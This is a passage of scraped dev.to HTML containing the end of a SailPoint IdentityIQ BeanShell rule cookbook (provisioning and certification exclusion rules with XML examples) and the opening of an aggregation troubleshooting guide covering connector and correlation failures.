&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Argument&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;org.apache.log4j.Logger&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Logger scoped to the rule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;context&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sailpoint.api.SailPointContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Database access if you need to look something up&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;plan&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sailpoint.object.ProvisioningPlan&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The plan about to be sent to the connector&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;application&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sailpoint.object.Application&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The application this plan targets&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The canonical use case is a connector or target system that does not support an operation IdentityIQ wants to perform. Directory-style systems are the most common offender: many do not support a true "disable," so the standard fix is converting &lt;code&gt;Disable&lt;/code&gt;/&lt;code&gt;Enable&lt;/code&gt; operations into a &lt;code&gt;Modify&lt;/code&gt; that flips a status attribute instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version='1.0' encoding='UTF-8'?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Rule PUBLIC "sailpoint.dtd" "sailpoint.dtd"&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Convert Disable to Status Flag"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"BeforeProvisioning"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Description&amp;gt;&lt;/span&gt;
    Some target systems have no native disable operation. Convert Disable/Enable
    account requests into a Modify that sets an ACCOUNT_STATUS attribute instead,
    so provisioning does not fail with an UnsupportedOperationException.
  &lt;span class="nt"&gt;&amp;lt;/Description&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Signature&lt;/span&gt; &lt;span class="na"&gt;returnType=&lt;/span&gt;&lt;span class="s"&gt;"void"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Inputs&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"log"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"org.apache.log4j.Logger"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"context"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.api.SailPointContext"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"plan"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.ProvisioningPlan"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"application"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Application"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Inputs&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Signature&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    import sailpoint.object.ProvisioningPlan;
    import sailpoint.object.ProvisioningPlan.AccountRequest;
    import sailpoint.object.ProvisioningPlan.AttributeRequest;
    import sailpoint.object.ProvisioningPlan.ObjectOperation;
    import java.util.List;

    List requests = plan.getAccountRequests();
    if (requests == null) {
        return;
    }

    for (int i = 0; i &amp;lt; requests.size(); i++) {
        AccountRequest req = (AccountRequest) requests.get(i);

        if (req.getOp() == ObjectOperation.Disable) {
            log.debug("Converting Disable to status-flag Modify for " + req.getNativeIdentity());
            req.setOp(ObjectOperation.Modify);
            req.add(new AttributeRequest("ACCOUNT_STATUS", ProvisioningPlan.Operation.Set, "0"));
        } else if (req.getOp() == ObjectOperation.Enable) {
            req.setOp(ObjectOperation.Modify);
            req.add(new AttributeRequest("ACCOUNT_STATUS", ProvisioningPlan.Operation.Set, "1"));
        }
    }
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two details that cost people real debugging time:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;This rule mutates in place.&lt;/strong&gt; There is no return value to wire up — &lt;code&gt;&amp;lt;Signature returnType="void"&amp;gt;&lt;/code&gt; is correct, and IdentityIQ uses whatever state &lt;code&gt;plan&lt;/code&gt; is in when the rule finishes, not anything you &lt;code&gt;return&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attach it per application.&lt;/strong&gt; Before/After Provisioning rules are set on the Edit Application page's Rules tab, one application at a time. If several applications need the same conversion logic, either attach the rule to each one or branch inside the rule on &lt;code&gt;application.getName()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  After Provisioning: Reacting to the Result
&lt;/h3&gt;

&lt;p&gt;An After Provisioning rule runs once &lt;code&gt;provision()&lt;/code&gt; returns — but only when the &lt;code&gt;ProvisioningResult&lt;/code&gt; status is &lt;code&gt;Committed&lt;/code&gt; or &lt;code&gt;Queued&lt;/code&gt;, so a rejected or failed request does not trigger it. It receives everything the Before rule does, plus &lt;code&gt;result&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;Argument&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"result"&lt;/span&gt; &lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.ProvisioningResult"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The most common use is notification: telling a user their account was created, or alerting an owner when a privileged entitlement is granted. Because failures never reach an After Provisioning rule, error notifications need a separate mechanism — typically a workflow-level failure handler, not this rule type.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Notify Manager on Privileged Grant"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"AfterProvisioning"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Signature&lt;/span&gt; &lt;span class="na"&gt;returnType=&lt;/span&gt;&lt;span class="s"&gt;"void"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Inputs&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"log"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"org.apache.log4j.Logger"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"context"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.api.SailPointContext"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"plan"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.ProvisioningPlan"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"application"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Application"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"result"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.ProvisioningResult"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Inputs&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Signature&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    import sailpoint.object.Identity;
    import sailpoint.object.EmailTemplate;
    import sailpoint.object.EmailOptions;
    import java.util.HashMap;

    if (result == null || !result.isCommitted()) {
        return;
    }

    String identityName = plan.getIdentity();
    if (identityName == null) {
        return;
    }

    Identity identity = context.getObjectByName(Identity.class, identityName);
    if (identity == null) {
        return;
    }

    Identity manager = identity.getManager();
    if (manager == null || manager.getEmail() == null) {
        return;
    }

    EmailTemplate template = context.getObjectByName(EmailTemplate.class, "Privileged Grant Notification");
    if (template == null) {
        log.warn("Privileged Grant Notification email template not found");
        return;
    }

    HashMap vars = new HashMap();
    vars.put("identityName", identity.getDisplayableName());
    vars.put("applicationName", application.getName());

    EmailOptions options = new EmailOptions(manager.getEmail(), vars);
    context.sendEmailNotification(template, options);
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;result.isCommitted()&lt;/code&gt; is the guard that matters most here — skipping it means the rule fires on partial or queued results where the target system has not actually confirmed the change yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  Certification Exclusion Rules
&lt;/h2&gt;

&lt;p&gt;Certification campaigns get noisy fast: a manager reviewing forty direct reports does not need to re-approve entitlements a role already justifies, or accounts that were disabled the day the campaign launched. An &lt;strong&gt;Exclusion Rule&lt;/strong&gt;, configured under &lt;strong&gt;Certifications → Certification Schedule → Advanced Settings&lt;/strong&gt;, filters those items out before the reviewer ever sees them.&lt;/p&gt;

&lt;p&gt;An exclusion rule receives the identity under review and the list of certifiable items being considered for that identity, and returns the subset that should be &lt;strong&gt;removed&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version='1.0' encoding='UTF-8'?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Rule PUBLIC "sailpoint.dtd" "sailpoint.dtd"&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Exclude Disabled Accounts and Role-Justified Entitlements"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"CertificationExclusion"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Description&amp;gt;&lt;/span&gt;
    Removes certifiable items for accounts that are currently disabled, and
    entitlements that are already granted indirectly through an assigned role
    (they get reviewed as part of the role certification instead).
  &lt;span class="nt"&gt;&amp;lt;/Description&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Signature&lt;/span&gt; &lt;span class="na"&gt;returnType=&lt;/span&gt;&lt;span class="s"&gt;"java.util.List"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Inputs&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"context"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.api.SailPointContext"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"identity"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Identity"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"certifiableEntities"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"java.util.List"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Inputs&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Signature&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    import sailpoint.object.AbstractCertifiableEntity;
    import sailpoint.object.Certifiable;
    import sailpoint.object.EntitlementCertifiable;
    import sailpoint.object.EntitlementSnapshot;
    import java.util.ArrayList;
    import java.util.List;

    List excluded = new ArrayList();

    if (certifiableEntities == null) {
        return excluded;
    }

    for (int i = 0; i &amp;lt; certifiableEntities.size(); i++) {
        Object entry = certifiableEntities.get(i);

        // Only EntitlementCertifiable items carry role/link detail we can inspect;
        // other Certifiable subtypes (e.g. BundleCertifiable) pass through untouched.
        if (!(entry instanceof EntitlementCertifiable)) {
            continue;
        }

        EntitlementCertifiable ec = (EntitlementCertifiable) entry;
        EntitlementSnapshot snap = ec.getEntitlements();

        if (snap == null) {
            continue;
        }

        // Skip entitlements already covered by an assigned business role —
        // they get reviewed once, at the role level, not once per entitlement.
        if (snap.getApplication() != null &amp;amp;&amp;amp; identity.getAssignedRoles() != null) {
            boolean coveredByRole = false;
            for (int r = 0; r &amp;lt; identity.getAssignedRoles().size(); r++) {
                if (identity.getAssignedRoles().get(r).getName().equals(snap.getSourceRole())) {
                    coveredByRole = true;
                    break;
                }
            }
            if (coveredByRole) {
                excluded.add(entry);
            }
        }
    }

    return excluded;
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things worth knowing before writing your own:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Return only what to remove, never rebuild the full list.&lt;/strong&gt; The rule contract is subtractive — it returns items to drop, not the surviving set. Returning &lt;code&gt;null&lt;/code&gt; or an empty list means nothing gets excluded.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;certifiableEntities&lt;/code&gt; mixes types.&lt;/strong&gt; Depending on the certification type (manager, application-owner, role, entitlement-owner), the list can contain &lt;code&gt;EntitlementCertifiable&lt;/code&gt;, &lt;code&gt;BundleCertifiable&lt;/code&gt;, or &lt;code&gt;PolicyViolationCertifiable&lt;/code&gt; objects. Guard with &lt;code&gt;instanceof&lt;/code&gt; before casting, exactly as the example does — a blind cast on the wrong subtype throws a &lt;code&gt;ClassCastException&lt;/code&gt; that aborts certification generation for the entire campaign, not just one identity.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Staging an Exclusion Rule Before It Runs Against a Live Campaign
&lt;/h3&gt;

&lt;p&gt;An exclusion rule fails quietly in the worst way: if it over-excludes, reviewers simply never see the missing items, and nothing in the UI tells them something was filtered. There is no error, no warning banner — just an access review that looks complete but was not. Two habits keep this from reaching production:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Run the campaign as a "Staged" certification first.&lt;/strong&gt; Staged certifications generate the certification objects without activating them or notifying reviewers, so you can inspect &lt;code&gt;CertificationEntity&lt;/code&gt; and &lt;code&gt;CertificationItem&lt;/code&gt; counts against a version of the same campaign generated without the exclusion rule attached, and diff the two.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log every exclusion, not just the final count.&lt;/strong&gt; Add a &lt;code&gt;log.info&lt;/code&gt; line inside the loop before adding to &lt;code&gt;excluded&lt;/code&gt;, including the entitlement or account identifier. A campaign that unexpectedly excludes zero items is often the same bug as one that excludes everything — usually a null check that always short-circuits — and the log is the only way to tell which failure mode you are looking at without re-running the whole campaign generation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Finding the Argument List for Any Other Rule Type
&lt;/h2&gt;

&lt;p&gt;IdentityIQ ships more than 70 rule types, and this cookbook plus the &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;BeanShell Rules, Workflows, and Tasks guide&lt;/a&gt; only cover the ones developers hit most often. For anything else — Refresh rules, Populate rules on forms, Managed Attribute customization — the fastest path is still &lt;code&gt;IdentityIQ_HOME/WEB-INF/config/examplerules.xml&lt;/code&gt; on your own instance. It contains a working example of every type with the real, current argument list for your installed version, which matters because argument sets do change between major releases. Cross-check anything you find against the &lt;code&gt;&amp;lt;Signature&amp;gt;&lt;/code&gt; block, not just the &lt;code&gt;&amp;lt;Source&amp;gt;&lt;/code&gt; body — the signature is what tells you which arguments are guaranteed non-null.&lt;/p&gt;

&lt;p&gt;Once you have a rule drafted, the &lt;code&gt;iiq console&lt;/code&gt; lets you import and test it without a UI round-trip:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;gt; import /path/to/my-rule.xml
&amp;gt; rule "Convert Disable to Status Flag" {plan=..., application=...}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Building the test arguments interactively is easier from the BeanShell console than the &lt;code&gt;iiq console&lt;/code&gt; rule command for anything beyond a trivial signature — see the &lt;strong&gt;Debugging Rules&lt;/strong&gt; section of the &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/#the-iiq-console"&gt;BeanShell guide&lt;/a&gt; for the full workflow, including log4j2 debug logging that does not require an application server restart.&lt;/p&gt;

&lt;p&gt;For the operational side of running these rules in production — diagnosing why an aggregation using a BuildMap or Correlation rule stalled — see &lt;a href="https://dev.to/posts/sailpoint-identityiq-aggregation-troubleshooting-complete-error-guide/"&gt;SailPoint IdentityIQ Aggregation Troubleshooting&lt;/a&gt;, and for the underlying Java/MySQL/shell tooling this whole series builds on, &lt;a href="https://dev.to/posts/sailpoint-identityiq-java-mysql-shell-scripting-guide/"&gt;Java, MySQL, and Shell Scripting for SailPoint IdentityIQ&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>sailpoint</category>
      <category>identityiq</category>
      <category>beanshell</category>
      <category>iam</category>
    </item>
    <item>
      <title>SailPoint IdentityIQ Aggregation Troubleshooting: Complete Error Guide</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Thu, 03 Sep 2026 23:47:59 +0000</pubDate>
      <link>https://dev.to/iamdevbox/sailpoint-identityiq-aggregation-troubleshooting-complete-error-guide-183e</link>
      <guid>https://dev.to/iamdevbox/sailpoint-identityiq-aggregation-troubleshooting-complete-error-guide-183e</guid>
      <description>&lt;p&gt;da0105f6.webp&lt;br&gt;
  alt: "SailPoint IdentityIQ Aggregation Troubleshooting: Complete Error Guide"&lt;/p&gt;
&lt;h2&gt;
  
  
    relative: false
&lt;/h2&gt;

&lt;p&gt;Account Aggregation is the task type every SailPoint IdentityIQ deployment runs the most and debugs the least confidently, because a failure can originate in three different layers — the source system, the connector, or IdentityIQ's own correlation logic — and the TaskResult error message rarely tells you which one. This guide walks through the failure modes in the order you should actually check them, with the exact &lt;code&gt;iiq console&lt;/code&gt; commands to isolate the cause.&lt;/p&gt;

&lt;p&gt;If you're new to IdentityIQ's rule and workflow model, start with our &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;BeanShell Rules, Workflows, and Tasks guide&lt;/a&gt; — Correlation Rules and provisioning rules both come up repeatedly below. For the database and scripting side of diagnosing a stuck task from outside the UI, see &lt;a href="https://dev.to/posts/sailpoint-identityiq-java-mysql-shell-scripting-guide/"&gt;Java, MySQL, and Shell Scripting for IdentityIQ&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Clone the companion repo&lt;/strong&gt;: The diagnostic &lt;code&gt;iiq console&lt;/code&gt; command sequences, the read-only &lt;code&gt;spt_&lt;/code&gt; health-check queries, and the correlation-rule debug template covered below are all in &lt;a href="https://github.com/IAMDevBox/sailpoint-iiq-devtools" rel="noopener noreferrer"&gt;IAMDevBox/sailpoint-iiq-devtools&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  How Account Aggregation Actually Works
&lt;/h2&gt;

&lt;p&gt;Before debugging a failure, it helps to know what the task is doing under the hood. Account Aggregation scans a configured Application, calls the connector to iterate every account (and optionally every group) on that source, and for each account either:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Matches it to an existing &lt;code&gt;Link&lt;/code&gt; and updates that Link's attributes if anything changed&lt;/li&gt;
&lt;li&gt;Runs the Correlation Rule to try to match the account to an existing &lt;code&gt;Identity&lt;/code&gt; and creates a new &lt;code&gt;Link&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Creates a brand-new &lt;code&gt;Identity&lt;/code&gt; cube, if "Create new identity" processing is enabled&lt;/li&gt;
&lt;li&gt;Marks the account for one of eight TaskResult actions: Correlate Manual, Maintain, New Account, Reassign, Create New Identity, Ignore, or Remove Account&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Each of those actions gets logged per-account in the TaskResult, which is why the first place to look after any aggregation failure is the TaskResult detail screen, not the application server log. The task-level error ("Aggregation failed") is a summary; the per-account errors underneath it are the actual diagnosis.&lt;/p&gt;
&lt;h2&gt;
  
  
  Failure Mode 1: Connector Exceptions
&lt;/h2&gt;

&lt;p&gt;The most common failure is a &lt;code&gt;ConnectorException&lt;/code&gt; thrown while IdentityIQ is trying to iterate accounts or groups from the source. This is a source-system problem, not an IdentityIQ problem, and the fix lives outside IdentityIQ almost every time:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Connector Type&lt;/th&gt;
&lt;th&gt;Common Root Cause&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;LDAP / Active Directory&lt;/td&gt;
&lt;td&gt;Bind DN credentials expired or account locked out; search base DN typo; paging cookie exhausted on very large OUs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JDBC / Database&lt;/td&gt;
&lt;td&gt;Connection pool exhausted (too many concurrent aggregations against the same source); driver JAR missing after an IdentityIQ upgrade; SQL query in the schema map referencing a column that was renamed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Delimited File&lt;/td&gt;
&lt;td&gt;File not present at the configured path at scheduled run time (a nightly export job that hasn't finished yet); encoding mismatch producing malformed rows&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Web Services / REST&lt;/td&gt;
&lt;td&gt;API rate limiting mid-aggregation on large account populations; OAuth token expired mid-run on a long aggregation with no refresh logic in the connector config&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Isolate the connector as the cause before touching anything inside IdentityIQ. From the &lt;code&gt;iiq console&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;connectorDebug "Corporate Active Directory" test
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This runs the connector's own connection-test method — the same one the "Test Connection" button in the Application configuration UI calls — without running a full aggregation. If &lt;code&gt;test&lt;/code&gt; fails, you have your answer immediately and can stop looking at IdentityIQ configuration entirely. If &lt;code&gt;test&lt;/code&gt; passes but the full aggregation still fails, move to &lt;code&gt;iterate&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;connectorDebug "Corporate Active Directory" iterate
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;iterate&lt;/code&gt; walks the account list the same way aggregation does, which will surface a failure on a specific malformed record (a group membership DN that no longer resolves, an account with a null value in a required schema attribute) that a simple connection test won't catch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failure Mode 2: Correlation Failures
&lt;/h2&gt;

&lt;p&gt;If the connector is healthy and accounts are coming through, the next most common failure is correlation: the account exists, IdentityIQ read it successfully, but it can't be attached to an Identity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Unable to correlate account to identity"&lt;/strong&gt; happens when the Correlation Rule for the Application evaluates to no match. Two root causes account for nearly all of these:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Attribute format mismatch.&lt;/strong&gt; The most frequent case is an &lt;code&gt;employeeId&lt;/code&gt; or similar join key that's formatted differently between the authoritative HR source and the target application — leading zeros stripped, a prefix added, case sensitivity in a string comparison. Check the actual attribute values on both sides, not just the rule logic.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Aggregation ordering.&lt;/strong&gt; If this is a new application and the accounts belong to people who don't have Identity cubes yet, correlation will fail on every account because there's nothing to correlate against. Authoritative sources (typically HR/HRIS) must aggregate first to create the Identity cubes; downstream application aggregations correlate against those cubes afterward.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If accounts are correlating to the &lt;em&gt;wrong&lt;/em&gt; identity rather than failing outright, that's a Correlation Rule precision problem, not a failure — but it's worth checking the rule's match logic for anything doing a broad &lt;code&gt;LIKE&lt;/code&gt; or a first-name/last-name match without a unique secondary key, since those produce false-positive correlations that are far more damaging than an aggregation that simply stops.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failure Mode 3: Terminated and Orphaned Tasks
&lt;/h2&gt;

&lt;p&gt;A task that shows &lt;strong&gt;Terminated&lt;/strong&gt; rather than an error usually means one of two things:&lt;/p&gt;

&lt;ol&gt;
